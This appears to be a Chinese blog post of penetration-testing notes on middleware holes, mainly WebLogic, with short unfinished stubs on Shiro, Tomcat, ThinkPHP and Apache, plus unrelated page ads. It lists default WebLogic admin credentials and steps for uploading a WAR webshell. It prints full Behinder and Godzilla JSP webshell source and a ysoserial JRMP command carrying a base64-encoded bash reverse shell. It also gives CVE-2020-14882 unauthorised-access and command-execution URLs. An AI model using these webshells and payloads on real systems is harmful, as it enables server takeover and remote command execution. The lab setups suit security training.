中间件漏洞(持续更新)

Weblogic

cms:

port defalut:7001     后台页面:http://ip:port/console   

user/pass default:weblogic,Oracle@123

常用弱口令:Default Passwords | CIRT.net

弱口令或暴力破解进去后台

1.后台GET_SHELL

http://url:7001/console->域结构->部署->安装->上载文件->浏览传入jsp木马的压缩包形式再改后缀为war(shell.jsp->右键添加到shell.zip->重命名为shell.war)上传->一直下一步直到出现完成->点击完成->访问http://url:7001/shell/shell.jsp->使用冰蝎连接

//冰蝎jsp木马  密码为rebeyond
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
    <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
        <%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

2.CVE-2020-2551

环境:

cd vulhub/weblogic/weak_password
docker-compose up -d

3.CVE-2017-3248(JRMR)

环境:vulfocus->vulfocus/weblogic-CVE-2017-3248
开始漏洞利用:
0.dnslog.cn  Get SubDomain
1.使用ysoserial.jar进行监听   java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 8000 CommonsCollections1 "ping v5p75s.dnslog.cn "
2.工具利用
其中JRMR IP为开启监听的机器IP,JRMR为开启监听的机器端口, 8000端口为第二部中的 8000端口。url为存在weblogic漏洞的网页。
执行!!!!!
3.执行成功,接下来尝试进一步拿反弹shell:
开启lvnp监听
run!!!!!
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 8000 CommonsCollections1 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE4LjAuMTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

4.getshell

sh:find / -name index.html监听的机器IP,JRMR为开启监听的机器端口,8000端口为第二部中的8000端口。url为存在weblogic漏洞找到最长的一般为网站index.html的真正路径,在该目录下输出哥斯拉一句话木马

echo '<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>'

4.CVE-2020-14882 && CVE-2020-14883(未授权访问)

环境搭建:cd vulhub/weblogic/cve-2020-14882 -> docker-compose up -d

未授权进入后台:

http://ip:port/console/css/%252e%252e%252fconsole.portal

远程RCE执行命令,可进行回显shell,步骤同上。

http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27cmd%27);%22)

5.未授权访问+CVE-2021-2109

Shiro

CMS识别:

shiro 在登录认证的响应包中会出现 rememberMe=deleteMe

漏洞识别:

1.Shiro550 CVE-2016-4437

影响版本:Apache Shiro <= 1.2.4

2.Shiro721

影响版本:1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1

获取登陆后的setcookies:

进行猜解:

Tomcat

CMS:默认端口8080

Thinkphp

CMS:

thinkphp可以通过访问不存在的路径,使页面报错可看出是thinkphp框架

Apache 

cms:

app:“apache web server 2.4.49 2.4.50”
  • 19
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【优质项目推荐】 1、项目代码均经过严格本地测试,运行OK,确保功能稳定后才上传平台。可放心下载并立即投入使用,若遇到任何使用问题,随时欢迎私信反馈与沟通,博主会第一时间回复。 2、项目适用于计算机相关专业(如计科、信息安全、数据科学、人工智能、通信、物联网、自动化、电子信息等)的在校学生、专业教师,或企业员工,小白入门等都适用。 3、该项目不仅具有很高的学习借鉴价值,对于初学者来说,也是入门进阶的绝佳选择;当然也可以直接用于 毕设、课设、期末大作业或项目初期立项演示等。 3、开放创新:如果您有一定基础,且热爱探索钻研,可以在此代码基础上二次开发,进行修改、扩展,创造出属于自己的独特应用。 欢迎下载使用优质资源!欢迎借鉴使用,并欢迎学习交流,共同探索编程的无穷魅力! 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值